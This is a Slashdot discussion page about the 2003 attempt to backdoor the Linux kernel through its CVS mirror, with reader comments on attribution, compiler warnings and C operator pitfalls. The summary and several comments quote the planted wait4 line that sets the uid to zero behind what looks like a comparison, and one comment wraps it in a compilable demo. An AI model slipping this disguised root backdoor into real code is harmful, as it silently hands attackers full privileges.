Slashdot Mirror


The Linux Backdoor Attempt of 2003

Hugh Pickens DOT Com writes "Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel. Back in 2003 Linux used BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. But some people didn't like BitKeeper, so a second copy of the source code was kept in CVS. On November 5, 2003, Larry McAvoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in electronically to the CVS server and inserted a small change to wait4: 'if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) ...' A casual reading makes it look like innocuous error-checking code, but a careful reader would notice that, near the end of the first line, it said '= 0' rather than '== 0' so the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words it's a classic backdoor. We don't know who it was that made the attempt—and we probably never will. But the attempt didn't work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. 'Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack,' writes Felton. 'Unless somebody confesses, or a smoking-gun document turns up, we'll never know.'"

56 of 360 comments (clear)

  1. OMG enough by Virtucon · · Score: 5, Insightful

    Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit. It could have been a hacker trying to put that code in. How was the system that hosted the CVS repository managed? Was it hacked? Was there any investigation or was it possibly somebody that did something stupid and now everybody thinks it's somehow tied to the NSA?!?!?

    Let's just go forward with what we know and stop the speculation, that is unless somebody has some hard facts like an IP address that belongs to the government or a chain of evidence.

    --
    Harrison's Postulate - "For every action there is an equal and opposite criticism"
    1. Re:OMG enough by sqorbit · · Score: 5, Interesting

      It's just like the "We can't explain this, so it must have been aliens" philosophy. If someone tried to create a backdoor, it must be the NSA. Not some bored hacker or some other explanation.

      --
      Sent from my TARDIS
    2. Re:OMG enough by Anonymous Coward · · Score: 3, Insightful

      In 2003, there wasn't even near the IDS/IPS technology of today. Firewalls were in place, but some places still have not moved to internal segments with firewalls on the internal networks.

      This could have been anyone. Yes, it -could- have been the Greys, the NSA, the CIA, MI5, Elbonia's secret police, or the Illuminati, but right now, it was a detected hack attempt, and anything more is pure rumor unless there is something definitely specified in the papers Snowden sold to the Guardian.

    3. Re:OMG enough by djmurdoch · · Score: 5, Informative

      Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit. It could have been a hacker trying to put that code in. How was the system that hosted the CVS repository managed? Was it hacked? Was there any investigation or was it possibly somebody that did something stupid and now everybody thinks it's somehow tied to the NSA?!?!?

      Yes, there was an investigation. The name attached to the log entries belonged to someone who said he didn't make the changes.

    4. Re:OMG enough by gstoddart · · Score: 3, Insightful

      Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit. It could have been a hacker trying to put that code in.

      Which is pretty much the same thing, isn't it?

      'Somebody' or 'a hacker' or 'an unnamed government agency' .. somehow, code got inserted into a repository with no audit trail and no record.

      That the NSA has been motivated to do stuff like this is readily apparent unless you've not listened to any news in the last several months. Whether they did it or someone else did, who knows.

      But it's hardly a wacky assertion that it could have been the NSA. It also could have been me, but I'm not telling. ;-)

      --
      Lost at C:>. Found at C.
    5. Re:OMG enough by Virtucon · · Score: 4, Informative

      L. McVoy...

      It's not a big deal, we catch stuff like this, but it's annoying to the
      CVS users.

      My Favorite from A. Walrond..

      Somebody getting access to and inserting exploits directly into the linux
      source is not something we should take lightly. Whilst we understand the
      limits of the problem, the fact that it happened at all could get /.'d out of
      all proportion and be used to seriously undermine linux's reputation

      Note, back in 2003, "/.'d out of all proportion..." which is exactly what this article is all about.

      --
      Harrison's Postulate - "For every action there is an equal and opposite criticism"
    6. Re:OMG enough by Alomex · · Score: 4, Insightful

      Actually in this very specific case the Occam razor's version of event was a malicious attempt.

      Just the other day I arrived at work to find traces of my externally accessible office door being jimmied. Now what is more likely (1) that the janitors lost the master key and forced their way in to vacuum clean or (2) that someone (likely a petty burglar) opened it and took my missing radio?

      There is a suid exploit inserted in an unauthorized way. The simplest explanation is a backdoor attack. The subsequent investigation seems to support this further, even though we still do not know with certainty since the guilty person was never caught. However we can operate on the assumption that this was a malicious attack and discuss it as such.

    7. Re:OMG enough by Russ1642 · · Score: 5, Funny

      There's a 50% chance it was aliens. Either it was aliens, or it wasn't aliens.

    8. Re:OMG enough by ShanghaiBill · · Score: 4, Interesting

      Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit.

      The code snippet is an obvious attempt at a backdoor. What more "proof" do you need?

      It could have been a hacker trying to put that code in.

      So? How does that make it "not a backdoor"? The code is the same regardless of who put it there.

      Some obvious lessons from this are:
      1. Run your compiler with the warnings on.
      2. Use lint.
      Either of these would have flagged this problem.

      When run with "gcc -Wall", this warning is produced: warning: suggest parentheses around assignment used as truth value.

    9. Re:OMG enough by Anonymous Coward · · Score: 3, Insightful

      Bored enough to know how to stealthily insert their modified code into the CVS repo.

      That eliminates most script kiddies...

    10. Re:OMG enough by camperdave · · Score: 2

      It was me.. Sorry.

      He's at 0000::0:1. Get him!

      --
      When our name is on the back of your car, we're behind you all the way!
    11. Re:OMG enough by gstoddart · · Score: 4, Informative

      I do listen to the news, so prove to me that it was the NSA rather than some bored college student looking to inject some mayhem?

      And why would I seek to prove something to you that it says right in the damned article that nobody knows who did it, or why, or how? I certainly never claimed it was the NSA, and even TFS suggest that, while it could have been the NSA, they don't know.

      There is direct proof someone tried to insert a back door, but as far as who did it, nobody fucking knows, and TFS even says that.

      Given what the NSA is doing lately, they're a plausible guess, but, there is no proof to suggest what entity did that ... NSA, bored college student, the Chinese, aliens, your mom. It says right in the summary they don't know, and unless someone admits to it, they never will -- but nonetheless, code did magically end up in the code repository they couldn't account for and which they caught. So someone did attempt to insert a back door, that much is fact -- the rest of it is speculation, and that's pretty much evident that it is speculation.

      You're asking for proof of something that people are only suggesting as a possibility, not claiming as fact. Which means you're not even debating the article, you're debating something the article didn't say but you're acting as if it did.

      You're tilting at windmills there dude.

      --
      Lost at C:>. Found at C.
    12. Re:OMG enough by TheCarp · · Score: 4, Insightful

      > The code snippet is an obvious attempt at a backdoor. What more "proof" do you need?

      Actually, the code snippet, without context is not an obvious attempt. It is a cleverly hidden attempt that COULD be a genuine error.

      However, having no approved submission to track it back to, that makes it an obvious attempt, even more so with evidence that the hosting system was compromised.

      I would even call it obvious if they had an approved submission if the submitter didn't have some good justification for mucking with an error handler for a case that shouldn't happen, those tend to not need much maintenance.

      --
      "I opened my eyes, and everything went dark again"
    13. Re:OMG enough by gstoddart · · Score: 2

      was not the claim that someone was trying to insert a backdoor into the Linux kernel, but that that someone was the NSA, as there is zero evidence to point to any suspect

      Except nobody is saying "it was the NSA".

      In fact, the last sentence of TFS says

      Bould this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack,' writes Felton. 'Unless somebody confesses, or a smoking-gun document turns up, we'll never know.'

      Which means all arguments which follow from the claim someone is asserting it was the NSA are horseshit, and have nothing to do with the article. Because the article isn't claiming it was the NSA, and bitching about conclusions the article didn't make are pointless.

      Have you stopped beating your wife?

      --
      Lost at C:>. Found at C.
    14. Re:OMG enough by gstoddart · · Score: 4, Insightful

      I would probably be more apt to name the

      In the absence of evidence, I would be more likely to refrain from naming anybody.

      Some unknown actor did it, how and for what reasons is completely unknown. Had it worked it would have resulted in a backdoor.

      Listing shady entities it could have been might be a fun game, but it's meaningless. And TFS pretty much says that.

      --
      Lost at C:>. Found at C.
    15. Re:OMG enough by Anonymous Coward · · Score: 2, Interesting

      Um, the assignment does have parentheses around it, which silences GCC's complaint.

      Here's minimal code to wrap around that line. It does not generate a warning on GCC 4.2 or 4.6:

      #define __WCLONE 0x10
      #define __WALL 0x20
       
      #include <stdlib.h>
       
      struct procinfo {
          int uid;
      };
       
      int main(void) {
          struct procinfo * current = malloc(sizeof(struct procinfo));
          int options = 0x30;
       
          if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) {
      /* won't be ever reached since 0 is false
              * but calling process gains root
              */
          }
          free(current);
          return 0;
      }

    16. Re:OMG enough by icebike · · Score: 3, Insightful

      There is direct proof someone tried to insert a back door,

      Or there was a coding error. After all, one single missing "=" makes its effect that of a back door, even if that had not been the intent.
      One wonders just how many of this type of "back door" actually exists in the mountain of source code.

      The unique thing about this incident is that it was only found by some random diff, not someone reading validly submitted code and saying "oh wait this is a back door".

      Given all the massive patches and totally new sections of code that get submitted each year, its apparent that the code in the kernel is trusted because of where/who it comes from, not necessarily that every single line of it is "correct" or doing what it seems to be doing.

      --
      Sig Battery depleted. Reverting to safe mode.
    17. Re:OMG enough by gstoddart · · Score: 4, Informative

      Or there was a coding error.

      A coding error, which got into CVS and bypassed BitKeeper, for which there's no commit logs to account for it? And which by sheer fluke would also have been an exploit?

      Sure, it could have been a coding error, but the description of how they found it and what they couldn't subsequently find would strongly suggest that this got in there by some really, er, 'unusual' mechanism.

      It sounds like they did the forensics at the time, and that it didn't come in through any mechanism any of them could account for.

      If I understood correctly, this didn't get into CVS from a commit, it just ended up in there. And in many years of working with CVS, I'm pretty sure I've never seen that happen.

      --
      Lost at C:>. Found at C.
    18. Re: OMG enough by Simon+Brooke · · Score: 4, Insightful

      The fact that

      1. This patch was sneaked into CVS bypassing the proper channels;
      2. The submitter identity was (allegedly) forged;
      3. The UID assignment was surrounded in parentheses to prevent a compiler warning

      strongly suggest that this was a deliberate feature, and not a casual error. I've done a lot of security audits of mission critical systems in my time and I've seen a lot of potentially catastrophic casual errors. You can always see what (innocent) thing the programmer intended to do. There's no 'innocent' thing this change could do. This is intended.

      Who intended it? That's another question.

      --
      I'm old enough to remember when discussions on Slashdot were well informed.
    19. Re:OMG enough by F.Ultra · · Score: 2

      Considering how b0rked this attempt was, Microsoft actually would be plausible :-). I mean is there any lint or static code analyser who wouldn't have yelled it's ass of on that line? Even GCC does it (not so sure that the version of GCC used in 2003 did this though to be honest).

    20. Re: OMG enough by wordsnyc · · Score: 2

      Thousands of contract employees in the past few years have had access to what Snowden revealed. It is likely that all those "secrets" were old news to every major foreign intelligence service. The NSA is like a vacuum cleaner with a punctured bag: they sweep up info and then leak it like a sieve.

      And if Snowden were interested in selling info, he would never have gone public.

      --
      Sent from the iPad I found in your car.
    21. Re:OMG enough by tlhIngan · · Score: 3, Informative

      The name attached to the log entries belonged to someone who said he didn't make the changes.

      Well, it also had the fact that CVS was just a read-only clone. If you wanted to make a change, you can't submit it to CVS - you had to submit it up the change and eventually it would hit the BitKeeper repo first, then propagate to CVS.

      So oddball entries like that mean it not only is a change that doesn't end up back in the BK tree (because there's no pointer back to the BK changeset), so something strange is going on.

      Of course, this only affected CVS users - it would not affect BK users (as the CVS was a one-way clone of the BK tree that was autogenerated), so the change not only was only in CVS, but there is no corresponding change in the BK tree to be linked with anyone.

    22. Re:OMG enough by jcochran · · Score: 5, Informative

      Obviously you're unaware of how GCC works. Yes, it would have issued a warning message if the line was:
      wait4: if ((options == (__WCLONE|__WALL)) && current->uid = 0) ...

      But the author of that little backdoor attempt added the extra 'superfluous' parenthesis around the assignment. Like this:
      wait4: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) ...

      And GCC uses those extra parenthesis as an indication that 'The assignment is deliberate and desired. Don't warn me about it. I know what I'm doing'
      In fact, GCC still uses those extra parenthesis as an indication that the warning message should be suppressed.

    23. Re:OMG enough by LanceUppercut · · Score: 5, Interesting

      That is actually misguided reasoning. If you remove this parenthesis and write it like that
      if ((options == (__WCLONE|__WALL)) && current->uid = 0)
      the code will fail to compile for a completely different reason. In C (as well as in C++) the assignment operator has very low priority, lower than `&&` operator. That means that the above code would be interpreted as
      if (((options == (__WCLONE|__WALL)) && current->uid) = 0)
      A code like that would not compile at all, since it attempts to assign 0 to something that is not lvalue. For this reason (and not some "warning"), you actually absolutely need that extra parenthesis.
      Also, note that the first condition is also wrapped in parenthesis, which is formally excessive ('==' has higher priority than `&&`, but some users prefer to add that extra parenthesis since they believe it improves readability). For this reason, it is fairly safe to conclude that both parentheses where there from the very beginning. They were not added by that malicious coder.

  2. Repost by Anonymous Coward · · Score: 2, Informative

    This has been posted plenty of times on here, and this article has no new information on the backdoor attempt. About the only thing is the spurious claim the NSA was behind hit. Geez.

    1. Re:Repost by squiggleslash · · Score: 5, Funny

      You're forgetting that the NSA is in the news right now, which creates an entirely new angle on it.

      I was able to get a copy of the original submission:

      Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel, a key component of the GNU/Linux operating system. As you know, Apple just released a new operating system called iOS 6. Is it possible that an NSA contractor, paid in Bitcoins raised through an anonymous Kickstarter project to avoid detection, placed an exploit in the new iPhone 5S? And if so, should the government immediately investigate Google who might have used the feature to implement some sort of tracking bug for people using their iPhones in their Teslas?

      --
      You are not alone. This is not normal. None of this is normal.
    2. Re:Repost by i+kan+reed · · Score: 4, Informative

      Not just in the news, but documented as having worked with software companies to inject backdoors into software, and hints that they may have specifically solicited Linus to do that with Linux.

    3. Re:Repost by Anonymous Coward · · Score: 2, Insightful

      Why didn't /. just hold off another month and repost it exactly a decade after it was really news.

  3. C/C++ operator = by Jamu · · Score: 5, Interesting

    It's why placing constants on the left of the equality operator is a good idea in C/C++. The whole line then looks suspicious because its constants are on the right, and the first thing you'll think about is bugs involving operator = instead of operator ==. Unfortunately there's a lot of old code that doesn't do this, but it's easy enough for a compiler to issue warnings about operator = in if-statements.

    --
    Who ordered that?
    1. Re:C/C++ operator = by TheCarp · · Score: 3, Interesting

      OMG Thank you.

      I have often seen this form, not just in C but elsewhere. I always thought it was more a formatting preference for readability (often the variables being tested part of the equation doesn't change, so move the part that does change closer towards the start of the line)

      I never considered that it might help catch or mitigate this sort of error. Truely 0 = uid, while also quite bad yet legal C*, doesn't reassign the UID.

      * I always thought this was legal, but now that I try it, I find this gives a compile time error - "error: lvalue required as left operand of assignment". Currently gcc is the only compiler I have on hand, so i can't check some of the much older ones.

      --
      "I opened my eyes, and everything went dark again"
    2. Re:C/C++ operator = by dfghjk · · Score: 4, Insightful

      "Unfortunately there's a lot of old code that doesn't do this..."

      Nice implication that this is a standard rather than a preference. A lot of new code "doesn't do this" either because a lot of people don't feel like you do, myself included.

      Writing expressions backwards hampers the readability of code and only theoretically catches problems. I can count on one hand the times in my career I've suffered this particular fate and I'm not going to pay a price every day for a structural "solution" to a problem I don't have. I've been working with programmers that do this for 20 years and have never found it to be anything but a nuisance. If it works for them, fine, but it doesn't go into my work. I'm not weak but if you are then by all means, use your crutch.

      Sometimes the answer is be better at what you do. Once upon a time you could declare a local variable in a switch statement without explicitly limiting scope. Now you must incur the wrath of the nanny compiler or pollute your code with compiler-pacifying turds. This could be made to work right but the same people who think we need shit like this can't be bothered doing a proper job of implementing it. We have attitudes such as yours to thank for crap like that.

      At my new job there are debates on what compiler warming levels to adopt. The reason is the release process enforces a no-tolerance policy for warnings and there's a large code base that will never be warning-free at higher levels. This is what you get when you create compiler-enforced "rules" rather than focus on skills and better code quality, particularly when you abdicate to tools you don't control or even understand.

    3. Re:C/C++ operator = by swillden · · Score: 2

      Truely 0 = uid, while also quite bad yet legal C*, doesn't reassign the UID.

      * I always thought this was legal, but now that I try it, I find this gives a compile time error - "error: lvalue required as left operand of assignment". Currently gcc is the only compiler I have on hand, so i can't check some of the much older ones.

      No, assigning to a non-lvalue (where lvalue is defined, essentially, as "something that can be assigned to") has never been legal C or C++.

      What would it even mean?

      --
      Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
    4. Re:C/C++ operator = by Anonymous Coward · · Score: 2, Informative

      The language is FORTRAN and they fixed it before FORTRAN 77.

    5. Re:C/C++ operator = by Admiral_Bob2000 · · Score: 3, Insightful

      In hindsight this is one of the things that I wish Kernighan & Ritchie (the original authors of C) should have considered.

      Pascal and Ada both use ":=" as an assignment operation and "=" for testing equality, so this type of error is a non-issue in these languages. Furthermore Pascal (1970) actually predates C (1972) by two years, so it bears consideration why K&R overlooked this possibility.

      That said, nearly all modern compilers (incl. GCC) do print a warning if you use a "=" operation in a if() or while() condition without explicitly surrounding the expression in parentheses - but then you have to be willing to examine the warnings output (as you'll still get your executable in the end), unless you're disciplined enough to use compiler flags like -pedantic -Werror as a means of extra quality assurance.

      I think the ISO C standards body should consider introducing ":=" as an alternate assignment operator in a future standard of C, and then all compilers could offer a switch that'd forbid the use of "=" for when you're writing new C code from scratch for new projects.

      You'd then still have the problem of existing codebases needing maintenance still being at risk of misuse of "=", but eventually if such a newer C standard started to enjoy widespread support, people could then do a search-and replace for uses of "=" with ":=" in existing code. (I say this with a bit of pessimism since Microsoft's C/C++ compiler still doesn't support C99 fully).

    6. Re:C/C++ operator = by Dogtanian · · Score: 3, Interesting

      Yeah, I'd often thought that the := operator should have been used instead of = (possibly leaving == as the equality operator and having a single = give a compiler error).

      The only problem is that := *might* look quite similar to != (i.e. doesn't equal). If we were starting again from scratch, of course, we could choose BASIC's <> instead to avoid that problem, but whether it would be a good idea now, I don't know.

      --
      "Slashdot - News and Chat Sites Deviant". (Click "homepage" link above for details).
  4. This is the reality, no need for tinfoil hats by Anonymous Coward · · Score: 2, Informative

    The difference between linux and closed source OSs is that on linux you may be able to identify malicious code in the kernel and remedy this situation. For closed source solutions you're truly fucked through and through. You seriously think Microsoft and Apple haven't backdoored their OS ? Just one more reason to stop using closed source software if you value your privacy, your secrets etc...

  5. I did it. by cellocgw · · Score: 2, Funny

    Signed,
    Spartacus

    --
    https://app.box.com/WitthoftResume Code: https://github.com/cellocgw
    1. Re:I did it. by houghi · · Score: 2

      I was Anonymous before it was cool.

      Signed,
      Spartacus

      --
      Don't fight for your country, if your country does not fight for you.
  6. Compiler warning by JDG1980 · · Score: 3, Interesting

    Doesn't GCC warn for this by default? I'm pretty sure I remember getting compiler warnings from it in cases when I deliberately had an assignment operator in an if conditional.

  7. SubjectsInCommentsAreStupid by lesincompetent · · Score: 2

    It's FOIA time!

  8. Re:= in an if statement should end in warning/erro by Waffle+Iron · · Score: 2

    I always use '-Wall -pedantic' for gcc, and if my code is producing any warnings, I always fix them all.

    If the kernel developers had been doing this, they would have seen a big fat warning. For those who still like to use this dubious idiom, putting double parentheses around the assignment make the side effects more explicit to the reader and disables the warning.

  9. Re:I hope they monitor integrity more carefully by Todd+Knarr · · Score: 4, Insightful

    It is monitored more carefully. Notice that the backdoor was only introduced into the CVS copy, which wasn't the official copy used to create kernel releases. It never made it into the official copy in BitKeeper, because to get there it would've had to go through the official review and approval process that would've caught and rejected it. And without making it into the BitKeeper repository it never would've been used by any major distribution, only by developers and private distributions that pulled from the CVS copy because of objections to BitKeeper.

    And today even that unofficial copy is gone. With the change to git I believe there aren't any secondary copies in other version-control systems except maybe private ones developers keep for whatever reason which wouldn't be able to feed changes back into the main repository without going through the review and approval process every submission has to go through.

    Long and short, the Linux kernel repository's no more vulnerable than the internal repositories for Windows or the Oracle database system, and it's probably less vulnerable. Microsoft or Oracle's repositories will take commits from any random contractor that's been hired to work on the code, regardless of their background or history. The Linux repository... it may accept submissions from anyone, but the degree of review before approving the submission depends heavily on how well the project maintainers know the submitter. The first submissions from someone the maintainer doesn't know are going to be reviewed with a fine-toothed comb and a skeptical eye, and very few black-hats are going to be willing to spend years submitting high-quality code to build up enough of a reputation with the maintainer to be able to get code in with only a cursory review. It's the difference between a development team and a developer community.

  10. Bruce Schneier's entire point by ThatsNotPudding · · Score: 2

    All the criminal activity the NSA has done and continues to do has done nothing but made the entire hardware and software structure of the Internet vulnerable, paving a smooth, superhighway to everyone else in the world that wishes to either destroy modern society or simply steal money from the 99%.

    The petard the NSA and Western World will be hoisted upon is one of their own making. (Cylons 1:15)

  11. Set the conspiracy theories aside for a moment... by damn_registrars · · Score: 2

    Even if the code had been accepted and committed, it would have been some time before it would have started rolling out into systems. How many people do you know who consistently run the latest Linux kernel? The most popular distros are generally (at least) a few months behind on adopting the latest kernel, so even if this was committed next week it would have likely not shown up in widespread use until the middle of next year at the earliest.

    And beyond that, the users that use Linux are likely far less interesting to the NSA than they like to tell themselves to be. Enemies of the state don't generally have an interest in running anything other than windows (which they often steal, so the cost is irrelevant).

    --
    Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
  12. Re:OMG enough: 2 = infinity by sneakyimp · · Score: 2

    Am I the only one who is REALLY afraid of aliens trying to backdoor my cornhole?

  13. Re:was careful enough to notice that that by TangoMargarine · · Score: 2

    Is that that 'that' that that 'that' refers to?

    (And ending on a dangling preposition! :D )

    --
    Unity? Screw that: XFCE. Slashdot Beta? Screw that: SoylentNews. Australis? Screw that: Pale Moon. UX developers DIAF
  14. Re:Type safety by ultrasawblade · · Score: 5, Insightful

    Here's why the UID is 0 and should stay 0.

    In most assembly languages, when you compare against a value, you have use a "compare" instruction that effectively does a subtraction, but throws away the result.
    In most CPUs, there is a flags register with a zero (Z) bit, which is flipped whenever a value is loaded that is zero.
    When you want to see if something like your accumulator or another register is an arbitrary value like 100, you need to do a "compare 100" and then "branch if equal to whatever..."
    If it's zero, you can just load the value and skip the compare step. You get a "free compare" when the value you want to compare against is zero.
    So if the superuser is not zero, there will be a performance penalty.

    Besides, this dumb shit is C's fault for using = and == as operators. Pascal had it right with := being the assignment operator.

  15. Wait, this happened in 2003? by damn_registrars · · Score: 3, Insightful

    Well if it happened in 2003, then we know it cannot possibly be the NSA. After all, we have been told repeatedly by the mainstream media and by reputable unbiased sites such as our beloved slashdot that the government was 1000% righteous and benevolent from 2001-2008 and only became evil after we elected a socialist anarchist fascist liberal hippie far left islamist atheist democratic dictator to the white house. So clearly, the NSA in 2003 could not have been behind an attempt to insert malicious code into the Linux kernel; and if they somehow were then real Americans had nothing to fear about it anyways!

    But of course, they weren't behind it! They couldn't have done it!

    --
    Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
  16. Re:NSA (Probably) installed one Anyway by jandrese · · Score: 4, Funny

    I thought SELinux was a clever plan to make security so obnoxious that everybody turns it off and leaves their machines vulnerable to attack.

    --

    I read the internet for the articles.
  17. Re:NSA (Probably) installed one Anyway by bill_mcgonigle · · Score: 2

    Many people who deal with mutliuser systems require ACLs and MACs.

    Yes, but the remaining question is "why does Snowden have a slide deck on SELinux?".

    Perhaps it's the *only* example he could find of NSA doing good work that did not subvert Americans' security so he took it along to demonstrate fairness.

    Or perhaps not. For now I'm using selinux=0 on the kernel command line and separating concerns with virtual machines.

    --
    My God, it's Full of Source!
    OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  18. NSA, not likely by seeker_1us · · Score: 2

    Remember the NSA has worked to HARDEN linux, and even contributed the SElinux system.

    1. Re:NSA, not likely by davidbrit2 · · Score: 2

      As far as you know. (Spooky music goes here.)

  19. Underhanded C Contest by KingofSpades · · Score: 5, Interesting

    I'm suprised that no one mentioned the Underhanded C Contest
    http://underhanded.xcott.com/

    Quoting their web site:
    "The goal of the contest is to write code that is as readable, clear, innocent and straightforward as possible, and yet it must fail to perform at its apparent function. To be more specific, it should do something subtly evil. "

  20. Re:I hope they monitor integrity more carefully by guanxi · · Score: 2

    Thanks for the explanation. One point I don't quite agree on:

    very few black-hats are going to be willing to spend years submitting high-quality code to build up enough of a reputation with the maintainer to be able to get code in with only a cursory review.

    I think you are underestimating the value to attackers of compromising Linux, and therefore everything that runs on Linux. Paying someone over several years to build a reputation in a community is nothing for a state intelligence budget or even unusual activity (based on my very limited knowledge).

    Also, in IT security, insiders are often considered the greatest security threat. Established community members can be compromised; maybe they need money; maybe they believe the national security argument ('this will stop nuclear proliferation'), or they did something embarrassing, or they want to feel important, or they are angry at Linus or the community ...

  21. Re:Type safety by organgtool · · Score: 2

    So if the superuser is not zero, there will be a performance penalty.

    That's why I run all my tasks as root!